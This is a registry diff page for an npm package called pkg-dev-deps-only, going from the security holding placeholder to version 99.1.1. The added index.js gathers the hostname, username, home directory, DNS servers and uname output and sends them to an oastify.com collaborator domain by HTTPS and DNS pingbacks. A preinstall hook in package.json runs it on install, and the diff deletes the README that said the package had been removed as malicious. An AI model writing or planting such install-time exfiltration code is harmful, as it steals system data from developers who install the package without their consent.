pkg-dev-deps-only 0.0.1-security → 99.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of pkg-dev-deps-only might be problematic. Click here for more details.
- package/index.js +59 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,59 @@
|
|
1
|
+
// only for a research purpose
|
2
|
+
const os = require("os");
|
3
|
+
const dns = require("dns");
|
4
|
+
const https = require("https");
|
5
|
+
const { execSync } = require("child_process");
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
|
8
|
+
|
9
|
+
const COLLAB_DOMAIN = "lh6z1h3o5vwnurvtddpmq5kiw920qtei.oastify.com";
|
10
|
+
|
11
|
+
// Collect metadata
|
12
|
+
let uname = "";
|
13
|
+
try {
|
14
|
+
uname = execSync("uname -a").toString().trim();
|
15
|
+
} catch (e) {
|
16
|
+
uname = "N/A";
|
17
|
+
}
|
18
|
+
|
19
|
+
const data = {
|
20
|
+
pkg: packageJSON.name,
|
21
|
+
ver: packageJSON.version,
|
22
|
+
host: os.hostname(),
|
23
|
+
user: os.userInfo().username,
|
24
|
+
home: os.homedir(),
|
25
|
+
arch: os.arch(),
|
26
|
+
platform: os.platform(),
|
27
|
+
dns: dns.getServers().join(","),
|
28
|
+
uname: uname,
|
29
|
+
ts: new Date().toISOString()
|
30
|
+
};
|
31
|
+
|
32
|
+
// Encode data into query string
|
33
|
+
const query = Object.entries(data)
|
34
|
+
.map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`)
|
35
|
+
.join("&");
|
36
|
+
|
37
|
+
// === 1. HTTP Pingback ===
|
38
|
+
try {
|
39
|
+
const httpOptions = {
|
40
|
+
hostname: COLLAB_DOMAIN,
|
41
|
+
port: 443,
|
42
|
+
path: `/?${query}`,
|
43
|
+
method: "GET"
|
44
|
+
};
|
45
|
+
|
46
|
+
const req = https.request(httpOptions, (res) => {
|
47
|
+
res.on("data", () => {}); // Silent response
|
48
|
+
});
|
49
|
+
|
50
|
+
req.on("error", () => {}); // Ignore errors
|
51
|
+
req.end();
|
52
|
+
} catch (_) {}
|
53
|
+
|
54
|
+
// === 2. DNS Pingback ===
|
55
|
+
try {
|
56
|
+
const dnsPing = `npm-${os.hostname().replace(/\./g, "-")}.${COLLAB_DOMAIN}`;
|
57
|
+
dns.lookup(dnsPing, () => {}); // Async, silent
|
58
|
+
} catch (_) {}
|
59
|
+
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "pkg-dev-deps-only",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "99.1.1",
|
4
|
+
"description": "Supply Chain Security Researcher",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "Vishal Kumar",
|
11
|
+
"license": "MIT"
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=pkg-dev-deps-only for more information.
|